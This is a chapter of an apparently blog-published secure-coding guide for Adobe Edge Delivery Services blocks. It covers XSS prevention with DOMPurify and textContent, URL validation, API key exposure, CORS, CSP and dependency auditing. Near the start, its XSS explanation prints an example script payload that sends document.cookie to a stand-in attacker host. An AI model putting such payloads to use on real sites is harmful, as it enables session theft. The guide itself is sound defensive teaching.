Edge Delivery Services · 20 of 29
Security for EDS blocks. Covers XSS prevention, safe DOM building, API key handling, CORS, Content Security Policy, dependency auditing, and OWASP risks in the EDS context.
This chapter covers:
innerHTML in block JS is the primary XSS vector in EDSpackage.json for CVEsIn classic AEM, the Core Components framework handles most security concerns automatically:
In EDS, none of that exists. Your decorate() function is raw JavaScript operating directly on the DOM. There is no framework between your code and the browser. Every security decision is made — or skipped — in your block JS.
For enterprise projects, especially in regulated industries like healthcare, financial services, or government, security is not optional. A single XSS vulnerability in a block can expose patient data, session tokens, or enable phishing at scale on a trusted domain.
The OWASP Top 10 is the globally accepted baseline for web application security risks. Here is how each maps to EDS block development:
| OWASP Risk | EDS Risk Level | EDS-Specific Vector |
|---|---|---|
| A01 Broken Access Control | Medium | Content visible to wrong audience (client-side gating is weak) |
| A02 Cryptographic Failures | High | API keys hardcoded in block JS (sent to every browser) |
| A03 Injection (XSS) | Critical | innerHTML with content from JCR/DA or query params |
| A04 Insecure Design | Medium | Trusting URL params for content decisions |
| A05 Security Misconfiguration | Medium | CORS wildcard on API endpoints, missing CSP headers |
| A06 Vulnerable Components | Medium | Outdated npm dependencies in package.json |
| A07 Auth/Identity Failures | Low (EDS) | EDS delivery is public; auth is external |
| A08 Software Integrity | Low | CDN-loaded third-party scripts without SRI |
| A09 Logging Failures | Low | Not applicable to EDS delivery layer |
| A10 SSRF | Low | EDS is client-side only; no server-side requests |
The three that EDS developers must focus on: A02 (API keys), A03 (XSS via innerHTML), A06 (outdated packages).
Cross-Site Scripting (XSS) in EDS blocks happens almost exclusively through innerHTML assignment with content that includes user-controlled or CMS-authored strings.
Content in JCR or DA is authored by humans. Even trusted authors can accidentally (or maliciously) insert script content into richtext fields:
<!-- Authored in DA richtext cell -->
<script>document.location='https://attacker.com/?c='+document.cookie</script>
If your block does:
const description = block.querySelector('.richtext-cell').innerHTML;
container.innerHTML = `<div class="description">${description}</div>`;
The script executes.
The EDS boilerplate ships with scripts/dompurify.min.js. Use it to sanitize any richtext content before inserting into the DOM:
import DOMPurify from '../../scripts/dompurify.min.js';
export default function decorate(block) {
const row = block.firstElementChild;
const cells = [...row.children];
// Raw HTML from authored content
const rawTitle = cells[0]?.innerHTML || '';
const rawDescription = cells[1]?.innerHTML || '';
// Sanitize before inserting
const safeTitle = DOMPurify.sanitize(rawTitle, { ALLOWED_TAGS: ['strong', 'em', 'br'] });
const safeDescription = DOMPurify.sanitize(rawDescription, {
ALLOWED_TAGS: ['p', 'strong', 'em', 'ul', 'ol', 'li', 'br', 'a'],
ALLOWED_ATTR: ['href', 'target', 'rel'],
});
block.innerHTML = `
<div class="card-title">${safeTitle}</div>
<div class="card-description">${safeDescription}</div>
`;
}
DOMPurify configuration options:
// Allow nothing — strips all HTML, keeps text only
DOMPurify.sanitize(input, { ALLOWED_TAGS: [], ALLOWED_ATTR: [] });
// Allow safe formatting only
DOMPurify.sanitize(input, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'br'],
ALLOWED_ATTR: [],
});
// Allow links but force safe attributes
DOMPurify.sanitize(input, {
ALLOWED_TAGS: ['a', 'p', 'ul', 'ol', 'li', 'strong', 'em'],
ALLOWED_ATTR: ['href'],
FORCE_BODY: true,
});
// Strip event handlers and JavaScript URLs, keep structure
DOMPurify.sanitize(input, {
FORBID_ATTR: ['onerror', 'onload', 'onclick', 'onmouseover'],
FORBID_TAGS: ['script', 'style', 'iframe'],
});
Rule: When to use DOMPurify — any time content came from authored input (JCR, DA, external API, URL parameters) and you are inserting it as HTML. If you are inserting it as text only, use textContent instead.
For fields that contain no formatting (labels, titles, short strings), never use innerHTML. Use textContent:
// BAD — if title contains <script>, it executes
const titleEl = document.createElement('h1');
titleEl.innerHTML = authoredTitle;
// GOOD — browser treats the entire string as literal text, never executes it
const titleEl = document.createElement('h1');
titleEl.textContent = authoredTitle;
textContent is completely XSS-safe by definition. Use it for every field where you don't need HTML formatting.
Building the DOM programmatically with createElement and setAttribute eliminates XSS entirely because you're not parsing HTML at all:
// XSS-safe by construction — no HTML parsing
function createCard(title, description, href) {
const article = document.createElement('article');
article.classList.add('card');
const heading = document.createElement('h2');
heading.classList.add('card-title');
heading.textContent = title; // textContent = safe
const body = document.createElement('div');
body.classList.add('card-body');
// DOMPurify for richtext content
body.innerHTML = DOMPurify.sanitize(description);
const link = document.createElement('a');
link.classList.add('card-link');
link.textContent = 'Read more';
// Validate URL before setting href
if (isValidUrl(href)) {
link.href = href;
}
link.setAttribute('rel', 'noopener noreferrer');
article.append(heading, body, link);
return article;
}
href attributes set to javascript: URIs are a classic XSS vector:
// BAD — authored href could be "javascript:stealCookies()"
link.href = authoredHref;
// GOOD — validate URL protocol before assignment
function isValidUrl(url) {
try {
const parsed = new URL(url, window.location.origin);
return ['http:', 'https:', ''].includes(parsed.protocol)
|| url.startsWith('/');
} catch {
return false;
}
}
if (isValidUrl(authoredHref)) {
link.href = authoredHref;
} else {
link.href = '#';
console.warn(`[block] Invalid URL blocked: ${authoredHref}`);
}
This is A02 (Cryptographic Failures) from OWASP. It is the most common mistake EDS developers make when connecting blocks to external APIs.
// blocks/product-search/product-search.js
// NEVER DO THIS — API key is sent to every browser that views this page
const response = await fetch(
`https://api.algolia.com/1/indexes/products/query`,
{
headers: {
'X-Algolia-API-Key': 'abc123verysecretkey', // EXPOSED
'X-Algolia-Application-Id': 'MY_APP_ID',
},
body: JSON.stringify({ query: searchTerm }),
method: 'POST',
}
);
Anyone who opens DevTools Network tab sees this key. It can be extracted and used to make unlimited API calls billed to your account or to access non-public data.
Pattern 1: Use search-only / public keys
Most search APIs (Algolia, Typesense, Elasticsearch) have separate read-only "search keys" that are designed to be public. Use these in client-side code:
// Algolia search-only key — designed to be public
const response = await fetch(
`https://${appId}-dsn.algolia.net/1/indexes/products/query`,
{
headers: {
'X-Algolia-API-Key': SEARCH_ONLY_KEY, // public key, read-only
'X-Algolia-Application-Id': appId,
},
method: 'POST',
body: JSON.stringify({ query }),
}
);
Pattern 2: Proxy via AEM Sling Servlet (xwalk)
For APIs that require private keys:
// blocks/data-block/data-block.js
// Calls your AEM servlet — key stays server-side
const response = await fetch('/api/products?' + new URLSearchParams({ query }));
const data = await response.json();
// AEM Sling Servlet holds the private key via OSGi config
@SlingServletPaths("/api/products")
public class ProductSearchServlet extends SlingSafeMethodsServlet {
@Reference
private ProductSearchService searchService; // key in OSGi config
@Override
protected void doGet(SlingHttpServletRequest req, SlingHttpServletResponse resp) {
String query = req.getParameter("query");
// Validate and sanitize query
if (query == null || query.length() > 200) {
resp.setStatus(400);
return;
}
// Private API call happens server-side
List<Product> results = searchService.search(query);
// Return clean JSON
}
}
Pattern 3: GitHub Actions Secret for build-time injection
For data that doesn't change per-user and can be baked into a JSON sheet:
# .github/workflows/refresh-data.yml
- name: Fetch and write data sheet
env:
API_KEY: ${{ secrets.PRIVATE_API_KEY }} # never in code
run: node scripts/fetch-data.js
The script writes data to a JSON file that EDS serves as a public sheet — no key ever reaches the browser.
When a block calls an external API using fetch(), the browser enforces CORS (Cross-Origin Resource Sharing). If the API server does not send the correct Access-Control-Allow-Origin header, the request fails.
Your EDS page is served from *.aem.page or *.aem.live. When your block calls https://api.external.com, the API server must include:
Access-Control-Allow-Origin: https://main--eds-poc--org.aem.live
or
Access-Control-Allow-Origin: *
For requests with custom headers (like API keys), the browser sends a preflight OPTIONS request. The API must handle this:
Request:
OPTIONS https://api.external.com/data
Origin: https://main--eds-poc--org.aem.live
Access-Control-Request-Method: GET
Access-Control-Request-Headers: x-api-key
Required response:
Access-Control-Allow-Origin: https://main--eds-poc--org.aem.live
Access-Control-Allow-Methods: GET
Access-Control-Allow-Headers: x-api-key
If you don't control the API server and it doesn't support CORS, you must proxy through AEM (Pattern 2 above) or use a serverless function. You cannot bypass CORS from client-side code — it is a browser security control, not a server misconfiguration you can work around.
EDS CDN sends specific response headers. You can add custom headers via the CDN configuration if needed for your domain:
# Redirect or header configuration is done through Adobe support
# or via the EDS CDN headers feature (helix-query.yaml adjacent config)
EDS does not configure a Content Security Policy by default. For enterprise projects, especially healthcare, a CSP provides defense-in-depth against XSS.
<!-- head.html -->
<meta http-equiv="Content-Security-Policy"
content="
default-src 'self';
script-src 'self' https://www.googletagmanager.com https://cdn.jsdelivr.net;
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
img-src 'self' data: https://main--eds-poc--org.aem.live https://*.hlx.page;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.your-domain.com;
frame-ancestors 'self';
">
CSP directives relevant to EDS:
| Directive | Purpose | EDS Consideration |
|---|---|---|
default-src 'self' | Fallback for all resources | Blocks all external resources not explicitly allowed |
script-src | Allowed script sources | Must include GTM, analytics, chat widget domains |
style-src 'unsafe-inline' | EDS inlines critical CSS | Required — EDS uses inline styles for LCP optimization |
img-src | Allowed image origins | Must include *.hlx.page, *.aem.live, *.aem.page |
connect-src | Allowed fetch/XHR destinations | List all external API endpoints |
frame-ancestors | Who can embed this page | Use 'none' to prevent clickjacking |
Important: 'unsafe-inline' for styles is required because EDS's LCP optimization injects critical CSS inline. You cannot remove this without breaking EDS performance.
The EDS boilerplate has a minimal package.json — primarily linting tools. But projects accumulate dependencies.
# Check for known CVEs in your dependencies
npm audit
# Auto-fix low-risk CVEs
npm audit fix
# Show detailed report
npm audit --json | jq '.vulnerabilities'
The boilerplate ships scripts/dompurify.min.js as a vendored file (copied into the repo, not installed via npm). This is intentional — it avoids supply chain risk from CDN-hosted versions.
Never load DOMPurify from a CDN in block JS:
// DANGEROUS — relies on CDN integrity, attacker can modify it
import DOMPurify from 'https://cdn.jsdelivr.net/npm/dompurify/dist/purify.min.js';
// CORRECT — use the vendored version in your repo
import DOMPurify from '../../scripts/dompurify.min.js';
Keep the vendored version updated: check DOMPurify releases quarterly and update the file.
If you load any third-party script from a CDN in delayed.js, add Subresource Integrity (SRI):
// scripts/delayed.js
import { loadScript } from './aem.js';
// With SRI — browser verifies the hash before executing
const script = document.createElement('script');
script.src = 'https://cdn.example.com/library.min.js';
script.integrity = 'sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC';
script.crossOrigin = 'anonymous';
document.head.append(script);
Generate SRI hashes at https://www.srihash.org or with:
curl https://cdn.example.com/library.min.js | openssl dgst -sha384 -binary | base64
Before any block ships to production:
DOM Safety:
[ ] All user/authored HTML content passed through DOMPurify before innerHTML
[ ] Plain text fields use textContent, never innerHTML
[ ] URL values validated with isValidUrl() before assigning to href/src
[ ] No eval(), Function(), setTimeout(string), setInterval(string)
[ ] No document.write()
API Security:
[ ] No API keys, tokens, or secrets in block JS files
[ ] All private keys proxied through AEM servlet or external function
[ ] Public keys are genuinely read-only (search keys, not admin keys)
External Requests:
[ ] CORS tested against production domain (*.aem.live), not just localhost
[ ] External API calls use HTTPS only (never HTTP)
[ ] User input sanitized before including in query parameters
[ ] Query parameters length-validated before sending to APIs
Dependencies:
[ ] npm audit shows no high/critical CVEs
[ ] DOMPurify version is current (check quarterly)
[ ] Third-party scripts in delayed.js have SRI hashes (if CDN-loaded)
[ ] No dynamic script injection based on URL parameters
Content Security:
[ ] links with target="_blank" have rel="noopener noreferrer"
[ ] No inline event handlers in rendered HTML (onclick="...", etc.)
[ ] frame-ancestors CSP directive set if page should not be embeddable
// ❌ UNSAFE — innerHTML with unvalidated content
block.innerHTML = `<h1>${authoredTitle}</h1>`;
// ✅ SAFE — textContent for plain text
const h1 = document.createElement('h1');
h1.textContent = authoredTitle;
// ❌ UNSAFE — innerHTML with richtext from CMS
container.innerHTML = authoredRichtext;
// ✅ SAFE — DOMPurify for richtext
container.innerHTML = DOMPurify.sanitize(authoredRichtext);
// ❌ UNSAFE — API key in block JS
fetch(url, { headers: { Authorization: 'Bearer abc123secret' } });
// ✅ SAFE — proxy through backend, or use public search-only key
fetch('/api/search?' + new URLSearchParams({ q: query }));
// ❌ UNSAFE — unvalidated href
link.href = userProvidedUrl;
// ✅ SAFE — validated href
link.href = isValidUrl(userProvidedUrl) ? userProvidedUrl : '#';
// ❌ UNSAFE — dynamic script loading from user input
const src = new URLSearchParams(location.search).get('script');
document.head.innerHTML += `<script src="${src}"></script>`;
// ✅ SAFE — never load scripts from URL parameters
innerHTML with authored content is the #1 XSS risk — use DOMPurify (already in boilerplate) or textContentscripts/dompurify.min.js — import from there, never from a CDNjavascript: and non-http(s) protocols*.aem.live domain, not localhostnpm audit before every production deploy — update DOMPurify quarterlyrel="noopener noreferrer" to all target="_blank" links — prevents tab-napping attackshead.html for enterprise projectsIn the next chapter, we cover Accessibility — Building WCAG AA Compliant EDS Blocks. In AEM, Core Components handle much of the accessibility baseline. In EDS, every accessibility decision is in your decorate() function. We cover semantic HTML requirements, ARIA, keyboard navigation, focus management, and the WCAG AA checklist for blocks.
Get an email when I publish the next chapter. No spam — just new technical deep-dives.
Comments
Share feedback or questions about this blog post.
No comments yet. Be the first to share your thoughts.